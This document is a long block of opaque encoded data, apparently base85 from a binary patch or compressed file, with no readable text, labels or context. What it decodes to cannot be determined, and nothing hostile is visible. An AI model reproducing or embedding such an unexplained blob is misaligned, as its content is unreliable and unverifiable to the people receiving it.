zlgd~+-*BSo_{C7dNr4}Lq2q}ek^gR^?>OT3>PUqJsq%KV5`oLF0UL`G%qG$fMsb}&mbJ5E zBJ{dK2H6`+ClOfpEG@6}I{8Gj7aSbyxyQ49;3`hfjdGtGX!{`frCf<*P)gmB$|RvW z{;R>S8+L~dDJzc}sOC}NE7=gvr}9i&WxL_%i9O-qppr6a;f6MKg-VSM)wh$ zU?&7(oUjZ;R&<&x^4GOB-v~K3p3665g_7Zh&5u&gg?&}TKpZqKqF-+KYPIN2m^%oU zoBC>Ld)v%;Bx+Oh{-wyk#Qef5v_6_H%-T)^8gnfj8e^-Usk64VfZ*3cFHY4I+}o?@#TUo6yn zM#1jzm~oNII4y@!HZ70xl%y^Y}F$)gut!Z=Z(3KdeN{ATD zgf5v-&_r0nhnUj&o3=?vi&`!dAwf5X>h}aHI9)*}=UV3;?jr}n<3d5eqZq2UzSl-q zKx1?_K{_0ojb&o`@T449)Wjn8#@;k;a{}H^HnDhl`H&0T>mv`BC5LPUPfTI&zsuKz z`AS;^jHL8*KeB~WIjHlk7tF$&s7I13MFW#kdniT#DPCzt;hea8NdPKQi*+APO-5KV z**E^@Xr1H{_dUh5B3R-v9(D)oZ4flkY-=TU^ZV1YR~;P8oXsb~7=g|5V)&*4m(#T; zfJ+DXMkqr&bZcZUrmkm~&-1(w;{islicH(|A9t=th6widhNG0hA?+KWxfIs6A}Lk6^q%iR^TFtbi;c?&zu zm)BS=spCaNhtC1r@YgkTmcv82W8W@71Xs(W-@*LTZH!XcKN_)X?$ldmH|^L4C{+BfXgabc;C26<_`V-%UM5O1@DD zOkypzKx6^EI*MJOC0tZ4W4*v?u`B7VA#I?#8>@D@kTC%1x_xnZ-~&ENVwvMPlJo9N zG8Rxs_xB>jD)LG(aVSFqbqlc}t2BM@JJ4&;qIPvzBh0gm^vGT~)ZAV|TkU4bY7k(8 z_kfKHxX9Z@SFe%ft5?3?juV~6?$vkk9gjp5kO@b4NHz+3^X}h-FBfqGrF;rUAA78@ zIc;NNG={Sgu1>4-cBiw5>}7PXTUS}5IyP^4o6Hs8n|s~ouDlLorw!oxtRV)Wyab$o zM?C*BYhz{Aw|#E=`h3e`K1B-Xc=cYf=Fs)NHy)T=TEgK8?Dc(sa7$sAOdl!}jX$0$ zM=?baSrl`2wXIio1I}9!smoV>Dgt3^vb3v1OylU=Kz5=G?od&q=mz@|p*_h~D6h~P zZ0GqDAQY8Zp#|aMGM$?D4u+J|2qHd>tzm4Y3~L{y&j9OW$e3oosD(L3iWT%NN zpkY?;HGU%je4?;!pgp#PA`Walj49HZb#5dvRY>JJtyazz8%690H6hodAP~TH9wJth zw#bW*QL8HD3m*VzI^#Z%S~z}@?oq9aEZE@+ zi`9_6Jb=cYTK6Y0Nvgi(tQaCS;i?Z4I)u0^Cy36S*3rH^WFv+O1jL+FMY1$Mb;jiy1E2a%3x90N8vu3$K z_h>PU1%`FZA(2ml+FFXVu1LkftBZ?>@K9prrByz>R9MNwhzPfPihMgBGSmgCn`s2B zWxW2G@<%lzrqci*q0*8LVnBm#7639k<7?_!FB(>})x3;`KqV@N zI(H3iYOb=DR;RusZ41YVciG-7w=Y|=Dr?^DMaNy6yondomGq&2e)R6}+{S2uAhdKI zmx%4}k(XU>2;cJo_w}(RhrO*9Ip7Sc8QJzIW=b#!Yeq+13^G94R&SXB-{JVQicm#< zCyY>P2X!0Q6z%55ZOtlc7TQpW``Z}Y11cX6fVxY{P}xSToB3&lprxdAK?NydkJpF! zSSbRULg#2{x-3^s46bQzLyT1f?flRxqfEF83#RyZw21u*mtcu5`%ylK`V#!lHqwF-(Nf)6uc{% zD`@uyNIbrj-~lZgcCqo1oZ`GFwjjaPCaFqX84UPK_l#BkDX~T23K>Z|TX|U5(-5W> z#i$QHFfLZXXL&CmWIS0RnoSQu8k4P==l6kjd)nAT@TA71L2+roHQwwAnx31(s5223 z7G7C~Nx-lP5Pj?>;4PKQs|l4_Y<7Z_Jfc&pW}D3MqErGM87i!KzysiNB6Ax@fZGRg;6CpS$Xgl z`<)xtpuCAw|9kGh3aiD04Fr32w;3u;k%v<)J2WzLrUW7kup^w%n`}!bFdEM0Q^&8g zjZ{Lc>S$?IN1|3W4v;o^5pN$~9A#+3f#cg7x=62S(qa$OjPO?(Y<~3wNsH)D9juC> zb>RKY!ORV^su5dLv@>P3aO#TK5m02*)!W}3t7~XzP`aMT=nVOgWjUO#wXL`xmGAuc zQEk1-J?)_jWMr+kYaY_6?B&CcR6oVB-#c$w3|OEFVqxR{IhSXfJ=+oYuC9IHD=d$) z6$h)Sr5?JYvu*B^rK$`lC}pH-s1gzqohea*!v5%`vmvuNZ5nh-rPr;!&F(yvjw6>q zk>FocTU)DFr?L1=Uu5P8=oSDK0%q|?uwOc3i!7mv$#Q`a`LlO4l31|dgpm6!U{uql z4Sl|jW6jkNvq9{aYWLf?0Q#$7LT{4!z1&?mg#LUnr1P(W89^NXbd+K4wDHe&ng8+{ z7^z8>r#BP=5D+PM^l}xFq$4uO)|5>Oru#Re?B5(1*4Pfp# zw!$r@uQLaV@2cWb5i#Cok9#hXo^OBix=TC408NI*oinCSsDV<>~u06&N3-#4!B2BQz zk`i<2Sj^}!E|O%XAltItRfldCUU`Kj>U-LLCmhepamRkkKdQMU zD;pw1D7iG<34q4v8AQA<6In*>0iMLc0`(kcSqqe6>KkI|uzqIYc$hCG2Bd^HOr~b;ek`T~$4q zbw6Tf>`*lxds8oEPpf`}Zy4mENsxmkV$ zcJkQiWNVv5y4Z!Ki{b>KR=+2^2HOWawh8T3izmJ{>c^-z2?)MIv5lX4m7p3L&6vo} z7ELp?%Vd876!6(!VM&9nT7_kBp|}jnt~|)9!xoy^A!rkUXU@Y?Ee3Afz<$>%?AoQ7 z6l(rt-6?2mG^XDKjEY_KArcv9jZ6NA9p;v8{#$XD3OX5itRdE~gw$+VjdzALq5fNB1{QTMCu*vwLs0Aos{P9b2JFw|jlQt+739^$*O-n^ z0fj)6+H+qeTT^HdLq0JvvH{tSd!OSQu>X zGXxNI)yh@MFivJICUwfyXcMBqp<8tZ->-Q|{hqv^ZwEa}Hzo3)<${J-4PpH7=e2uR8X6f!WYdPCxP2XPHgz@pt>=RBWMp97me+_4h2duXK zD&!KRJihO4Geo4Q^|+BsAB({r<1~7}n)#NW74tsP?zSB3y4ASMZa#)UkwS$B5@g24 zM0p7nj!wm8U6HGED){zWn+6{)*QqJq0wXMU7*Lpl&kd~p+Aiba34S;vK=^1J z6>|`|Iz|w2^?|;RE_c~6V&F!2_snRIZ%5Xt0r(7 z9L0O(n{fo642nD!QoE9pPL2nq4L%JQT0&<11M^0+?+9$-y#~Og-gIV3uCQ%UjnX0H z^u_shXqWG|04gyT5Pz@Z>S$r<=fd8;PST0h{{3VUyTs$(^3%9F+YpRBAZDMrwME5P zL0fm&jyU0HwWHwYwfumBgAo6Lm#_>BQ!&MCVQQG%O)zB0zLar69FA$bubNexCCy(R z-$b(yVc1)J2nh(NL#e=?T%uw$MMAWCgek;a9hwz@XpDcHSE;fi9$M;w%&AwvPiU0g=$LMlc^T&_P^DuL3}(h$)81Io$l zjXDmuhvdv&ukrSy7wRySU-wIINGmr}|0#dxfbjLJhspXNTbqZ2(`ji_vnqr8^`WS+ ze>}t|Fc=sZHB=M{iEjpV8dVy#s->bHbp};x!U*rq+{s8{DE^`gK%MfFKl)`YAHc}@ z{szM&65x-@3ewYp!uSKgaf~pI;-j=Wz}#B?VT7v7%7sUpd{d`^qVa@I@b__r3FkEK z1v51A*j&?Kj`-w*T073X6`_X(ORYc z76eNyOp%{+>nOrw@PVEUP4oaIx3@?sa`j;3==USgy8m~yGEDP_|L@9wpmq)Se={So zVg3s+>HcTHymAk$cOPD`f8U*$hyAHwo5~mNLiWV;i^UgUKo4p@4Vz})_I>dJbU=}7 zxI=sB1%5jTOQ~>Skrpqs55++3bEfY8pBK&@Dtfgcg-kX&PiAP+-gIW`+&P+dXN?Vw zEj-MSX4M%CFe)^teSf#}vi7_xwg39@4Qnl`-eNOr)ssg>9& zD%}1Ag~vXt7V5$axwi>yfBzFwwzMelLFoJbe#l?n|AEPjxBm*0>C}IR$=^lct!Rr7 zXIHLi=xy!uLC=rIt}%rh)sMwykz-M5)Pp-CGb>$NIO7@8@J;4k3LF$;8~L#|Z&YNG z{+TDfl)F0BGq@RWZdNF5(m?eyZ@V?prdZb;^_;HiJfD!Q-9VFw{@TDnlS~}{*XpI& z&zEkWD5)2MZ8q`5zB6U;r2^fgiOzl)hN$N9IMp}Q15+5l!syRhC%KI$Z91kkgjmXF zT#ASHhGWmq#Dt zcWAIHX&`OdV%7H-ZFH|j(BN^8M^4{{xHQujEWT)T0MSD2W6_%r!jNf6D;SbPqofSB~g>-2Pt zL(rN3Mg=FyhW-r`{MU+{Sed&%z`S@m8NV^}-t}!5KojJ0;jvFjTL0gp;d}%2)LWsv z_^?nv@AZne{E>OOSX95a6=Hoi6RV7inV!q$7JPr2&um8*YHidUH(xN5I{}(0pW?j# znG`mK&pDK*eX`m;UaSFXW%;wERNmDHI={z?N1CCfolZAiCbG#Tf^fA8HIoODKF`{D z+pmtNKwfMz4{P{qXcBP}C@k(BXXm%tU;eN05~`IVOb3mRXgtX+1Bks7#qU!cb@xB> zsyw@%t|D*0o4W32u5ta1$`D}q(UaQmkRXtte%fn5bq^5yjjPE0QNO;xhwA`z-+^+J zZC_}Hr4XWF^~5pxv&U-2hI120usUsKr7``w!a$c;E@LttpHyox@C;IT5792d)OV9@ z<{kF)U)3LbF&@NGFXGL$svy)QzQ;mY(?K{>JZ3LAiv>k_Ndw>zn_PE4?!8-$52qQ# z&>y+-hE*O?=LJ~Te=IgtzdhX=pox`lfFKwnnSF3-uz%IW9n7>l=vU{@kMl4+x#c1^hoWe;+i- z$T9KX^+>E!m$gI`rX>=LoDCRqe~I+Dt^y4h)tK;K`05w{(HYpIcgA^)z)8G0JmULX zr$_vy)AyL$^P6-fbHk*JHf&T%+J!8hILla|HKA7 zBqU|Lw5sA?c|HO&{B$8a=QplTcfJK;Z=R*Ad%&Z1NY5qMM0r}%%s-!3+!?i(F!K&7 z*)BdS*NU4;$i^Glo8YW;;m|DBR-mB7V%s>zqIRB4V>Mgz-9|i;#eY0gtWvlmh+H|| zK=wrz$a1}eaE#sQv6B1da;Tw$x6t{c^V%oxrQyKyI^l*bn@`LX0M*W4#r#OEltj#$(t;X6dl<(yM1-mU-kaw+Zv~z^?n8Oo-;I` z?jM7Cj_V~J9pDr?=ux-v*)+RoV%H>-fSws08L5ROF6)d}x{$5vG zGE}!)x|UehR@W=F5MT%vK3J0aQFTDjsp^81iQEM0${8t0HnSlxM}&VWHr+Qo4($!a z3QzIbL%=+1(9A|0eGQMKRG4@H4pOP=ZngWYRzHQXyF`}9&j%vOj^dOH<7E5>+KvHr zf94+rbGtWqyylGNBoPYBAdC^M{Q?(*>-^of=au*4n`h7Xh4+I=HjK`S+}GmX4$({W ze@37N$hQ8e;%rPes8xB<6=JUV?=tzqVU!DuB`gcAy3K90 zLxusVRlN);mNJT;jc28=xsPk_(;rO$CKOb~Tf;8rcDU)bx{A<+-ksv)R;ClbygJH> z$cGr1LrD}wOEVA>M*9X)RK+ZI*^F;~sA*1REQ3!{5#S8ySU|a}Q+Y)0L2y{ok47#(z??kqIS)n#u9VBieSMkd=O}m_N-|pmFcwf=aI* zfzLAsya9!OM{oVPI6ypqM(se)H08g0rlS&P2~~seT(H+=fR`vbzyElW)z@x*eg7KH z>N=rn_v>c{NtU?}H=R}v>gjp&%i>=KKITLVtrb6)VU=Y-f~|rYX2e7Zy1aBIh_CBU z%m{g+ax!4HJpTxtbN{JXdcTWHz2>*1+78-H|L}2kL51*lHjJ6n-a?ZcnWJa`o&pK} z;@YYtQRU({(r9Jv@H3HCH;7Tq5qUpt?!s(R79ax@V5GR{;uexF2T(A+bfk!1f42Kj z+DG8b67(#^I`_YlgP$EI>~lEKZ%e&3C+1HV^BncK&SdDH4+YYE#>b9m$Z;P%gVIh)k~=?0Ib${DXsokrcMjY>^;mmrHud z-Xs{{@?81Ti`bWt#;7t5uI0UprY3GGyVX{1B)`GU@nV@)Q_N9iM}{2#{pZ_t zpUin3kMLCM=3wLD1Ym257!Bq3Jw*<5DF4qW4h;VOV}`mM5jXQ!7XX;2{p;un*C_W58D{l|QO-k>70qpx5fao@S_|XA76Z(M24>0KnWk#%_W$!(aBtxaXRT3t+jyW`i+9_t-`3Ob1zpP1CA>;7>j=2uIQ>#vqz>USwe zkpHx0C?^*Gy&`BZ3+o^!l|E)E^W#&6zLFnCL^?1b(&vT5-<;nefAO8ap7w}!MZE*e ztzXQ{M<_1KwAgq(92D-!yk+SB%(+z3)n_4Miprmm_#txy;E~<$yQaJSD6vlQ%sX}G zSO==2sMrl;^V`kNz!62m#7yn~fc03Ki96gQaBKD)uIyc`hgajW<`zVe;Y$4OlbIQG znp_Gi)sG}6NRvQMQu?~8aLjGeJK&6ms1;-$UC^Z4_G}nj@k}ki((8`k%bdt+U8ZBo z`~V*NiTR3xo4Ys8WNyTooIEz6-9$VmmC_yaQHdBM;rJrmcs$InA2WuD=por%2EU^*@|s zxA|yBznC;{*>rQ7_&iK!66@q9erGW;u?n8KQOk7kXs?`X-%jM&jJ?VblLNG5ZNHD8 z0uty%yl8TWO#u1iPMngwFGWPqw*Z9a38+;c{g9|*R0g;Go5*WM~`#Q!9 zvczH+aufHU$SC1R|ATaZ(_7X5F$%fO2LIWzCYS%cr~J-7^1BvUH*`Qo`xoK{jkrL9@PD=C|&meDBqstx8 z9>zZ5WxWml?D3sI*6j8;lRKS^CCzT&im6CnN{B3&sKq9E7WOnVz)_XGf>aYCx$4v( zRiX0o%;_dUtQt=T2zNa9=Z~O zcV+4|t|xW#NxW{%Dy8=h%<2hL)YMz;kHBYJ-~9zxLa~a|3tYT&tcCAqO69a89_PEo zgM@^9I*{|(>c_P)+U))!ox#fmUke}sp_VtjWRIpUnNfg@-ZTBmxFDK&dC z6fdt+*mTjQvB&WQ<#k^^7V9=cH?^b9(Hk-&(RdkT^3OZze;N&Dr3!Igo4mNunnzwu z?EakFc5*cGu}Gqd{lrSi7$TKOCMt4RbWE&Q5||zdIh03b7DY<{oYk!hEOK@%B#_unTfVulSycx zLNtX)nEPOC2}9WXg$Vk7{yNcs6hki6YmZv3Ui?6P9rOIm#L`kT2slPTvF6g{zZ?Yc zI%K$wCF|b+KROUxTwbOx4nEiQWg-VB=&Vbn+f3uQr%Y*B6_|#u@!Qlxku;31X;O+_T!QI{6-Q8UZ3GVLhZo%CtoZ!L#O4eGt zyT9IF_kXZYxVT_eF`4zwF`hBT{k&7qn{>BAnrDP3$lQ$ILqleHmXqhm3i-?{Z)bqI z#sP`GEVn*rJPh!|%NaUS%(S*kyb`I&_7iVfmJHV5H&VrsFxZnRT)0_Ww@{`THyh3e z3v&(^f^*q>Sz{WS!cXq7N4d@t^uk3NGD)UPKcupZ2u?Ps3+=S?8S{LIM6;qia zn}axc7+sl-_Nz_vl$WBYHTaCa^th8r!fD_5-MfOB)<3N1r!x8t0B@q z+6;JHbSz$ds(-iWAiAw?A^Bw$g^-XwGe&Yx-K_59;Q>_iR3h?BeL`SG6-87!)(nTH zNdo5WGn9e0gTT{Q!Vvb!#+jyn$M3je{%LsADo?Z?4wjf=a2R#WUBW_BQqdfk=o=-W zglSGvS;x=h<~{aI%Y0ooXy;>cxXm`BC0hh(^b}N_ubur!oxz2%YaQ- zr)c%*9^8r9i$M**S=Z3GgB&C5gfLji@SKyX@)=A1XM943NRPfQC?<0fP@v0;=~PfI zeq1VJMGT=Kjo6Q1G5>(J;bboOJ@Q735a@^!8D@}%sV>!N1PG}vMv0$&l-H?_#&Qm5 zw@*=5mMsjavX}l^uOD(PX2E5B77c4${tPihu_^j<7VMr;?+Z=@VW7ymIQg~^`5}GT zUsRF+ktxoP2zYz^YvZV{6=zs$6z$%`6?QqD5df zOB^IRUy?!jIXwc4zV>*6|N1$?r+Jk1ceCuBK+$QP%4(oR7QEV{1M#NE1uvtHY)AkM z@>MqkvZj0*F#Cx&hL0&c8lMYgjW~5HhsfXG9~PDYMHiNchzLwj0PNj6Xar~oXz>S& z*u*YqGI9G=uoxQj4O7>tKLzaXHbQeQr|ZwHdA2V^V1a-CaEq&dk;=E5J%#H%5lTJz z#w_rk%L{TPVRS!gM!(0|8|xYJW+QvO#L z;i5D`E%E=kKphp6btWeRu)66pzRZ_W3LCm#Eh@q+@P~ z>A2x~u#Z2c#nyFc)Vynira=(1<-&Jo@-20#2rL+Jlc;y41A^dl0Qf~Ji9t^-V7L2n zSGamhT)whV?(YuK8TJ$@Iim9<>WGzOW0`sCddVq6wDugtKKUf+C&56d4x1{BhZ)lVPA|x1TT}2#$Qm0>otsC0J4+waAAwr8-}PMj zUZhY|dj>tVt?_MW2gW{BORfLJh0C;_&SZ->Owo!%@chO7akThV^cwHt?~C9+HUzr% z#bF%g#qvOU7S$3SLTM>Q+z|n!n$qy^J{BQX57TC4B}6_=Q3Nv-M1iT;q@uJZ)D<;t z(RLX_dU^6mLFu6sn8M>MnVSF3f$J@qmXyo~y4^tDO7?9I=n5caeUAghFqF|z7dldSV_d>$d3jYr|rz$R0Ov2{G0+@s9G zOv885EA37QT;w#dQf+ART3wF?$2{4!iphpcaA~)3Q!M6PpV*=lLDT$)1e=nB%&T=T z`xcC`^a?z=NjJ$;+rmhO2V#ZQ9RK~YyV+%{0@{mxM=P^xed=#xI7e}OkvCL~a2rv( zV`AYMlFtXSYFVY{&)f=xo{97OS517oZ@rsuEW^k~+4XU8po^3vJFEI6vmoPG>ukOd zcZEr}Pn{`IrEqZMsSdi`ufcD)GB%EZHtQM+z=FAsim`_PZEl_8TMIM%_T?SPgQ=J0 zAI>w}DfDfSDg^X0Al(Jd=^|3g>>|P_GLLHNl-Ax}(YjSyVae<96`iHbxPeSIj2)nS z&xEK_a?EjJp zQBMQs@wvz%0`SAXV%i4pI&aQCDDimD(#+?S$YDqG4&pMsW1)akvCyY`k-K%qbiJqE zBYf$#=nD^QH(WCRT6W8L9_`y=AdL}TH&(;E%91xIq5VX*qLh2_E&**nu(rsRGMj64 z_Shf-RNuF+YO7+}FmxwnaYq`wWeDq1vUK18gE7TiK>am%of!`jGeXq(dWmZ|^NREJ zapPxe7<-HNX6v4~?p%V>H-x%-VhtG83aw4)1V@6J&S?IObF7agO}i)XRwmc#!d4l{jvN|o-YEtVS$w8$u&En|N$fEF z3ivmcE$a6s3M=+s;4olnb-p_Z2kPwL{uS)E3$9l&|5LE{mexj14^}uDxp8cb1%Pw2 z<-E4XF?7TQ|IfjmuyOc78Wgo$d%&Ce@5m=%fgSi8lhyyTavpb)WhkkMv*~(CwyFQF zVPj=c2L=9xdvKE>y)c`eyk1zgs0oEgcIe^hK*L5xeAdBz_NeUK-L*7;|7`h3(`(8P z0BlCK!IJ1aGX1Vs(DWHAq{k$Pj zA0*YItSshrqZ*$fu8!8ZFIjYu3XO{`jSWX!UKjNU-Tl8Q=o}5}Ok@q;X~-YhV&A^b zfo|kwS)eIn5u|gq>7BZAZF16aWgLI-M0PE0LG%Ff9!gtn=;DRrw5ir)w+C9uif!=P z)4m|NxWDn3U-oxn6V`UueRI$VaRuu$TwV)a3qPPTd1X&}LD{)6XmX+QX@6K<{Xk-6 zS^3sF;+qif(C%npviKRv#c;t6rzg#v5FV>y$u-u;a>c9|3X0MwL!uB>CE=N_hQ3D6 z!}@u}*sfKP7*lkVuTqh5q{+95=Dj)f4iWLtiR}leSLW;&28w7SbyLQNWG8~Jy?e1GkN!^W)wp{} zZF9BmOuRRvN6X-i!S9nR?&J|-8 z!KigdQ{`S;4m=jNPd@ljps%YgSDU{VYgN}n@E;le_CjB_P`>+s^=6x7@%LOzeg6UI zJvB9yKU*UR;aCyl?IZ9y?y#i)_CqNqsFno14FU0vwkwo;ByMP{vS=g z{_ixoH5|wHk#BYV9!YMqIK2c-FCy*;*dnbIO<@&{0)Hu;jpe! zi>FxjrH_%x`HQt$w4#ZS*Qy>v=FVwITV?ypU#DJ4gYXU-JaJ-{Dr|_sZep@9TEfFl zy`6*HSpt4<4QFI>4QBvbNi=8P=qkR&yz-02vin`2Irrk{5rrM;qWKP~0F1FxC)KYQ zl(~he1(?IBhRRGOtLw?z4M|B3e8za!*|2h>>LnlbNCrcs2Ez+<`GH_(6201E57h%I z(U?6*Oq7#G{3un+7Fy|jGdBUA*Z0;e>MlR`rrs}SdGH6s#pcJjdAXvgjRSRiTzkpk z0+=pOLz-?|)iM5}7;FJ3C@5Q*)z%=Xau}J(;>58M0kH!|kF#E(h&DiKZo)n%qzQCV zoJSz0s7EwhF>=8DG+cGjm)NgdUXV5U4gCcMTTR`HocB}UkB<2pF%M&PI}-#3`U$N=>dX-wbel9?b$9T;|XacSWsIU+-wZzvsT6E*@Lx~uQ^*- zE6dS*Nvk!u)>q;AWn%ISud{_7dHo69`f~+7hFZZ}+Zst6Qo|NQE#ozt*t@k z=_=d~Ys7;cZ!Kn9oV z*n_vXO@uF3A?f#9A;`Xi!J@cteLxHh&%w`u{X;)H-pYDq5Qz1_bgtY67(*`xkh|!8 z-jXk9_;++h_pQT$$*QD&IxE#F03s?mUd*jG)A9xq;n(`*Ui@qT-}vI77)Ko-V$iYI zrx=!xf81^r8Ln#!(8hkgN067m>UmHl?>(gU<@0mLE39HB8c;$V8ZKbZ zP3g03RA#*k%s_;KJ`hivDWK^;ciVIlR00dP6+r^Y6QD zFQ9d56``>{P#lJNg2tR7x>x(%1K&+Lh#DC+yCZana7{{$^Z62gZ@(WOE#8q*0bZ7| zV1}3;o)#xI(dfyThcnHl^C3CLxl3x{yr*3A7FO#cu9;)z-do2TrjI5FsStQ(u&hEO(7Szvml2q-Z)m3Lj{1 zuOqCYBM?rJqyoad*z@OF59&~FKG;MP1mP@0U;}Jd3)o+sCQWoKb#I14GS2AVD*ZVn zUC=lx_(#0FzYqeQc=`qb7z~GcA};TK`L+(|%vkL8-N+dhQYU0Cc8om`x8HVbGP&ey zuV(2P=s^{FPca^df*~`nm~BxMT6csDc|X8E5@laJ>%2)cLVYxadh>;=CjHWdwix?iH6wBeDiit9Lf)Pkc=5F;EdZfin!+KkY%Ui|d>+JP;y zsXU**X5!gZnu^}UJAN2AwbWdPFw0yr*~)!l`-rW86>`0_vmt>mW9Mx^z7AdR$?6bM z7?`Li?P0xDae=6NK1|5D&oY~50P^2I5zs;vdck{j`q6ohf{DC-PitMvAsi-Td&O^! z7BK@`F0|p>*;Jy`>$SALK-lsoTT|~+0*rlfD_Gl=;H>ttILNPI zzhApW(s|W-2ts)G@f8cKuOs59g|r`j)YU0>@wtC-M8LM)-E#@?Vg zMJ4A7yc;+r$u!5F&5h3Rr)0!UVVhiOW-ytcG}MT1XAH!xDa^!wCDQ}a4L(}xvgnZo zR!_1W7W*d{98N)zr6KxLLV|)rjo*q-70?vO}0P$=t8y;{7h@+*Nhw0vKosLPEF0P4J zM4RhD8o^%9S&vKZ)_I z9!FSMU)?F^;Fw>$+oY3nI*Q{%7ABYCzZBhhXCO?qD+P0eidNfxT+%V)Uoe5xnDH(* z_TY0cSkWLvq6(&c{MXm-=PUeySAG}FKksIrch{Sap1V)-*ASk8_-q(FJt+{IA?F`= z)93OGd}AKrA-P;VUbU6hywFVe-`T>?yr149kOQDQWq*iB2n7eVg6u<;ls?4p%!D^w3l>!r`aiF;x#y3ej~VDkp4OLB z(t2T!$eABFvgj$WeX=+uqYS1ZHhp5vRoyULdH8$nw_CShe?vZUf zLbZxQ>I#q$QKfF_`Wj~OH^%_qaSZ5C@JOtqKc%LSX|&uU8@SEhux~sHbDSThTt{oS z5P>5kS@PRv*`aQu#Er*h)8*2AYiM`@2`T~GS&3|(0qq=}MQ$7pXS($Z1l?chb(!!; zg=IgSolFAYqCs!|TAd~B2<+L?_0MQL89{7ULy;YI)j9hpB#;ByLl6yrA~FZGpnf|B zP5E(Tyfp_41;UEv4fwr-*t=X~E6@o|&Q_LbdD>#!TuetVJc6<(X}98dCV0_NN2j7a zr5;*54mWQ3PhWiIEx#vdhJ=3eZmdjaCp|x?*dnxB`8JVpft$v{mbw)ROYm^UPyI&Z ze=g4MV82P(?$Y0%|IU0Jf_PXEpCnQU|Dnj9kE7)Roegz(HY?g{g)Vq%*?Ws-Pfg1H^6vPpMkRG*ft~5_ zm_?Y8s2j|$C#Qx|^*zb3?oZEk{)a$!qEkw(qjbzgX{N7>v2e8VBGf|`8bDr_GKgjWQm=NA?5)%@BP!(Taz9tI{ z5>#c98zlGq_#raGPWl*?wxJFtI7jL7*K@~;tAhktVk~XuWa#V{IdsxbNMVKy9QbG@ zBcWjq`H-0!9!^s2QjW;PoE6B){|)!Ul~- z^pcQ5a6SPp>^Md0W{3<+@@o@D_5Np`CD@iVQ*!6q2YR!12U6-C#VNOrM-pT6L9Hw8+(y?5R4#yu9HPZSao3iWw^_4z8)uO#L< z{JdKdNA_~;xupGN*nF_W>qel3`OJArXsxfe=q;vP?kz^;7bA|OM|@A$K9^7++HIF; zu{0t%$DuKS7~)paS#Bz5N<`tGlAN`jGW*^Q%9k*q=0@)vS^k&^%6G^^fx0N`;>gKptBO0dz z2OzN#iOF&IKz899*Q>!6lJ&zGypYrUC)hwRh~OL|dj97xkkCXr4*Q+wfU6JLUH4Qr z&k$SIBpzzm`tS9VGZc2TV{}(GnFXiaT|Hm5jqt2#9Q>IBC3iJVficC|5D3sflYl)V znXr62A(ndC6v%umtUa!SiH|-FXDDk#?XdvR81j0at&bFGB4J?LmMY^4C&V}#LezjX z%Gzh2lOifAiiK;hD_SIk)`24t6+L7~+ScoGCA{I8!r^(IEl+y+`q`DwUH@~;`uSOC zOd8g`4YUfy?3={LgM_!A3rku*`OUZ*bykI-Y3hbI-9MZ^X4?(2|iZ^2-te@_;gg{>^n-#VWpcdB_CH~E2i~4EY22(Eo{$Z)$wle z%7XSFK(c-1cPW_;w=>Ihmm7MN>Ih^RLS5{0`lxc0u}6E z^cb*V5!(F-qdc_toccaok=`6*hX%eA)ZJpeBSrQ7^4`~1pmJ3*|D$!R?$`Y1hYcXn zn;kf=hI)wrI071^cCItr8oUeN`Qxi`P96Kq6&Ebz;?T8<6H594L0n(`2N+>{Le3d3 zGI@m%p_j$Zq6Dx}G4Z$lY%MEpNOssZ=QI7SZa|$f|5f^uTl*LIb z(81p8d*^biH%EUh#KrXOIX}a*hsr7@=#5M{7ssv_74DoW1alX*<^s8-REP znBkFEX2+AkFmwh63$~cRrleCaPKa#1vb*QYS+%Y`)Lu^E*P9wz&Qc5{lkLjon*~s> zWI3s6{ceca(;c&p(5}MP@mK(9dCGFXxNgZknPVSjIPDcd14HlmXAo`L`YLi-DNpv1 zLCUn%Hk~Gk?7peKj{`UIo-8npeDbT*Vq=5Aprps!CA(VXoi|m+Kvzuz6G6n6vVM z7@^Eva^H4+stEVyb;ttzk~6$8Jd&Z+|@BIdxhi|W*Z&_-$smo8~ zJK@{8$cu)jUYXZxlZOFo3J+3*8GPWWf$0kc2bG!HH8N>AqJMnQ_d)7fv$3wi!r<4&u^Lt+XlbxOR$z- z$@7IU7^JmaFUmgCR%lJ!(Gyd!Kp~*HU?X575Z2Z|3xA7wF^5-cVAwqmnUT$?-r}lQ*hZ-Mte5+?dX{68D38vA!v3i~k=I#4Mt zc~>Np(tDH54M5_>>GsQ%Z#AkgarZ<=_e`{~E~*_fTcnoB_T3)oC7#(S=^z&;;c3S` zY$1GyM>17`x!_-U< zPnFv_a959i&^_WE`8tu8Z_VGWS2bkTD2r4R51GGxbNt2Z}_@~BB4UZc@cZw!+;ZV&h`x~Kr7iW*H9S_=lvmAbb_HxSKqkivm+ z@w1d1$9L8(QARQ{ac_5U-n>t76i+d=hNl9_RGVvkC4Ud(d&FhlQAQ8WRzxfc=DIMg zzdoDP7G3Os`~{uU{L3ZJcoGRF%-qi(9#X!~<^ejA8W42a{MErR4aNvURqfx$Kyf3q-CXQ$m9om*HpJKYKxk|4o8H7EWt6RR%_wb}N z0b%dv9AamAA3r#o`9a*=v)XPEc1?CHcfEzkimmV+Kuj=)I<^vqY;S z=|)~ol;QiLt2)lO_P~R4LCM}G&!ag!hbu@&Ns3H5#|Zw>uvuSGFVJIw=t6QPoP%?s z_WOIa#?LD#xw}^-8%f?2T#bnilP%8Enokw&f{Fp7*^^60lu2$JXZSC7-az(~qq}j7 zXEr>JTcoas+bYhu4s;{+u-R=}Y4?j>e7hu1Pmx}fb9<3=eqAyX3gwhxU$TMt7Os$b z<4b0fU$!XOJ*Ok5(%y0NK^@Ie0ki~-IlVRAt$+c z=TnElO)VrFc=0E>8&**!E-dZH5X-_XTq!$>oNdualr1iQ0E!jX*z6|frDSA45z<~l z$6hho;|G~+ze`ImW3C4nO>}Y4TxyG|ZB8QaUQf53pJ~}`slfuP&3R;7sBfJ@`{d}x zu*iI|bLTp2(UdR8dmo#@s~$68MkcdK{()d! zGl9_6bVd4Ge;>-vkc)5W&(H${1EY7)Y2{l0WG@8#5Xx97YQjvV&g>W89|nTr60u!A zzgC1cI(M5=MT1UGP&3Y}+gF|MXbH1;BS4X(mx{UTW#C)%%M*(U>*BBIpLBt^2$?TG zS>8m%V+&kfoY+|>s$iCpds}wLB%Le&SVmt=x2a zM1io>OZ9}O)7kW}%+{l({x!OD+?p_HOBIuAP!R>qZX@|@ev-r9)K3VL&&x%vP0QZxe)Zl?B3b+*l~mni4LLO# zbO+T;z_{|G%wd8tffk0oqO#vLlPir&Ivzgv_J@6&7^5(*4=DVZL2CMm{p{u*Z|Pqq z?_QbfJS>vI7kFUiX5xR&M7YsB%eG&&UD7HT+9@o?XKX-;Kl-Y`yk&iDn649~0uS!g 